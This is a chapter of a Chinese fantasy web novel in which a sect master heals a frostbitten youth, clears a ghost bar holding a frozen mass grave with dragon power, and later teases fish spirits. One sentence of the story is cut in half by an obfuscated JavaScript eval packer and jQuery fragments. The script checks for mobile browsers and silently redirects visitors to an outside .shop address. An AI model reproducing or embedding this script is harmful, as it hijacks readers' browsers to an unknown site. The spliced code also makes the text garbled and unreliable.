房间里只剩下顾星燃和睡不安稳的元景年。
顾星燃原本对这全身的冻伤束手无策,他求助了江家家主,也就是江侑初的姐姐,江梨初,最后江梨初告诉了他一种咒法。
因为冻伤,元景年全身发红,皮肤脆弱不堪,一触即破,此刻片缕不着的躺在床上,很难让人有一丝旖念。
顾星燃将自己的衣衫褪下,躺在了元景年身旁,手臂虚虚环住了他。
“很快就不疼了,有我在,年年百病尽消。”
六个小时之后,顾星燃睁开眼看到的,是恢复如初的少年肤白若雪,雪白的脖颈后有一朵莲花胎记。
这印记和主人的脸一样,一眼就烙进了顾星燃的心里。
少年周身的红肿皆退去,又恢复了之前的样子,淡白梨花面,樱红的嘴在睡梦中微微露出一点可爱的小牙,显得很乖。
顾星燃穿好衣服,又为元景年换上了干净的睡衣,然后推开房门走了出去。
门外是元景明,他走上前问:“顾家主,我弟弟他怎么样了?”
顾星燃有点疲惫的微笑着说:“放心,他没事了。”说完就走下楼。
楼下的三个徒弟也凑上来问他:“师父,景年他没事吧?”
“没事了,你们不必担心。”
三人听了以后都松了一口气。
此时已是下午六点多,玲姨做了丰盛的晚饭招待顾家师徒。
顾星燃还是有些吃不下咽。
三个徒弟倒是吃得非常满足,顾家平日里的饮食多是清淡的,而玲姨的菜烧的浓油酱赤,令人食指大动。
江侑初和方稚渔差点因为最后一块溏心鲍鱼大打出手,还好冯云初大手一按将两人钉在了板凳上,这才避免了一场血光之灾。
子夜到来时很多人都在睡梦中,而醒着的人偶尔会听到周围一些细微的声响,比如冰箱突然开始制冷发出的嗡嗡声,或耳边似有若无的电流声,这些声音十分微弱,所以很少被觉察。
零点过后鬼门开,而今晚的元家别墅里,冰箱后的通道也再次出现了。
顾星燃让胆小的方稚渔在冰箱外看住冰箱,不要让门关上,自己带着冯云东和江侑初走向废墟中的酒吧。
与元景年看到的不同,顾星燃眼中看到的,是一个吃人的魔窟,只等将路过的人吞吃入腹。
血腥味从门里往外涌,混着腐肉的烂臭扑在人脸上,恶臭难当。
酒吧门上挂着一张胡乱缝合的人皮堪堪盖住里面的罪恶,门内外散落着一地断节残肢,墙壁上暗红的血渍还未干涸,正潺潺往下流。
这处地界,不见日月,生人踏足便再难有归期。
是谁将这样一处异界通到了阳间?
顾星燃心里想到一些令人不安的猜测。
师徒三人掀开人皮帘子走了进去,看到一屋子鬼兽在暗紫色的灯下摇曳着,其中还有几个被障眼法迷惑的凡人。
这些人有的正与面覆恶蛆的女尸接吻,有的搂着冒黑水的僵尸贴身热舞,场面一时好不壮观。
“先想办法把活着的人救出去。”
顾星燃对两个徒弟下达了指令。
江侑初虽然平日里跟方稚渔嘻嘻哈哈,但好歹是江家的孩子,处理这种事他甚至比大师兄冯云东还要得心应手,自信满满的说:“瞧好吧您。”
鬼吧里的活人并不多,一眼望去也就五个。
江侑初走向第一个目标,伸手揽住对方的肩膀攀谈起来:“兄弟,第一次来?”
他装成个纨绔,英俊帅气的脸让人毫不怀疑他就是日日光顾酒吧的玩咖。
男人喝了点酒,醉醺醺的回答他:“第一次来,这酒吧是新开的吧,巷子原本没有这扇门。这里的姑娘特放得开,我只是请她喝了一杯酒,她就..。”
江侑初哄他到:“这酒吧我朋友开的,我看兄弟你也爱玩,我带你去看点更有趣的。”
江侑初揽着人的肩膀就带人往外走,还对冲他怒目而视的蛆脸小姐姐微笑。
走到门外,男子兴致勃勃的问他有趣的在哪?
他笑着指向男子身后,待男子回头望时,他一记手刀打在人后脖子上,然后招手示意冯云东过来把人抬走。
他俩就这样陆陆续续把在场活着的人一个一个的交给了冰箱门外的方稚渔。
另一边,顾星燃已经摸进了鬼吧后厨。
后厨中,一猪首人身的屠夫正在案板前切肉,另有两鸡精正在给尸体掏内脏,还有一个满身腱子肉的牛头人正在炸肉。
“什么人?”鸡最先发现了来人,叫了起来。
见有人闯入,猪头人拿着菜刀向顾星燃迎面劈来,被他巧然避过。
顾星燃瞬息之间就移到了猪头人的身后,一记朝天蹬狠狠砸下,猪头人被踢得陷入地里,脑袋开花。
两只鸡见此情景抱在一起瑟瑟发抖。
牛头人迈着沉重的步子向顾星燃走来,每一步都震得屋内墙上齑粉漱漱落下。
顾星燃一跃而起,自上而下踢向牛头人,这一脚携万钧之力,压得牛头人双腿跪地。
他顺势踩在牛头人的肩上,右手双指发力点向头顶死穴,牛头人顿时七窍流血,倒地不起。
顾星燃从牛头人身上跳下来环顾四周,两只鸡已经不见踪影。
顾星燃这才开始打量后厨。
这后厨就是滋养着鬼吧的罪恶沼泽,这里有多少尸体,就有多少无辜之人死于非命,成了阴差带不走的孤魂,被鬼怪生啖血肉。
是谁想要在这阴阳交界无主之地聚集这么多的孤魂?
顾星燃打开那个“冷藏室”,里面的景象远比元景年当时看到更恐怖,映入眼帘的是一个被冰封着的万人坑。
“这下麻烦了。”
顾星燃也没想到事态竟然如此严重,这件事只顾家一家怕是难以解决,需得玄门四家共同商议。
如今的玄门四家人才凋零,不知道他们面对的是怎样的敌人?
又或者,这个人就藏在玄门之中?
顾星燃在心里暗自琢磨的时候,两个徒弟也走到他身后。
江侑初看着眼前的坑,脸上露出了诧异的神情:“真他妈操了。”
冯云东更是没见过这样的场面,弯腰吐了:“我真的,yue,我,呕,这他妈,呕…”
“走吧,先炸了外面的酒池肉林,散了那些妖魔鬼怪,别让普通人再进来了。”
若是平日,顾星燃或许会把外面那些吃人的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17690203|207890||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
鬼兽料理干净,但此时的他身上还带着引过来的伤,没办法赶尽杀绝。
顾星燃离开后厨,来到舞池中心闭眼站定。
江侑初和冯云东很默契的一起跑到了很远的地方。
玄门都知道顾星燃此人天赋异禀,而他最大的天赋,是与生俱来的真龙之力。
这条龙,是战蚩尤斩夸父的战龙应龙。
顾星燃睁开眼,原本黑色的瞳仁变成了赤金色的兽瞳,周身萦绕的龙气将这黑压压的魔窟都照亮了。
他身后显出一条背生双翼的巨龙,金鳞覆身,长啸而出,振翅带起的飓风掀翻了魔窟的天顶。
龙爪过处可破虚空,翅展八荒凝风固云,众妖魔鬼怪纷纷遁逃,没跑掉的当场就消散了。
待一切结束,方圆百里干干净只剩顾星燃站在原地。
他额头上冒着微微薄汗,脸色略显苍白,强撑了一会儿,终是支撑不住倒了下去。
冯云东跑过来时,顾星燃已经晕了过去,他背起顾星燃,和江侑初一起从冰箱回到了元家别墅里。
顾星燃醒来时已是第二天中午,窗外的阳光洒在客房里,元景年搬着小凳坐在窗前看书,见他醒来,走到了床边关切的问他:“你醒了,有没有哪里不舒服?”
虽然身子还没好,但顾星燃不想让元景年担心,故作轻松的撑起一张笑脸说:“我没事。”
“哥哥说是你救我,谢谢你。日后有机会,我一定会报答你的。”元景年认认真真的说。
“那你要如何报答我呢?”
看到元景年一本正经的跟自己道谢的样子,顾星燃忍不住很想逗逗他。
元景年很认真的看着他说:“只要你说,我都会尽力去做到。”
元景年这副什么都能答应的样子,真是可爱极了,让顾星燃的一颗心软到不行。
顾星燃到底还是没舍得跟元景年提要求,他带着三个徒弟回了顾家老宅。
江梨初的医术高明,顾星燃联系江梨初,希望她有时间过来帮自己看一下伤,江梨初答应了。
心中念着某人,他在宅中晃着晃着,又晃到了汀莲居。
院中红莲依旧,顾星燃走进院内,望着元景年住过的小院,心里又想起他在这时的样子,乖巧的少年在窗边看书,在檐下听雨,在池边投食。
顾星燃望着此刻空荡荡的院子叹气。
“家主..噗噜噗噜...我们...噗噜噗噜...真的知道错了....噗噜噗噜噗噜…”水里透明的桃花水母咕咕唧唧的小声说话。
自从那日把丹顶锦鲤变成了王八,顾星燃每天就变着花样给元景年变不同的水生物供他观赏,胖金鱼、大头罗汉鱼、红嘴鹦鹉鱼、招财鱼,甚至有一天变出了海中生物魔鬼鱼。
最后在元景年要回家那天早上,顾星燃给他变了一池桃花水母。
之前变的王八、金鱼、罗汉鱼都能张嘴吃东西,而桃花水母,长得小,只能吃一些浮游生物,这些鲤鱼精每天吃不饱,饿得游不动。
丹顶锦鲤(桃花水母版)恳求他:“家主...噗噜噗噜...我们不想...噗噜噗噜...做水母了...”
顾星燃毫无怜悯之心,大手一挥把它们又变成了王八。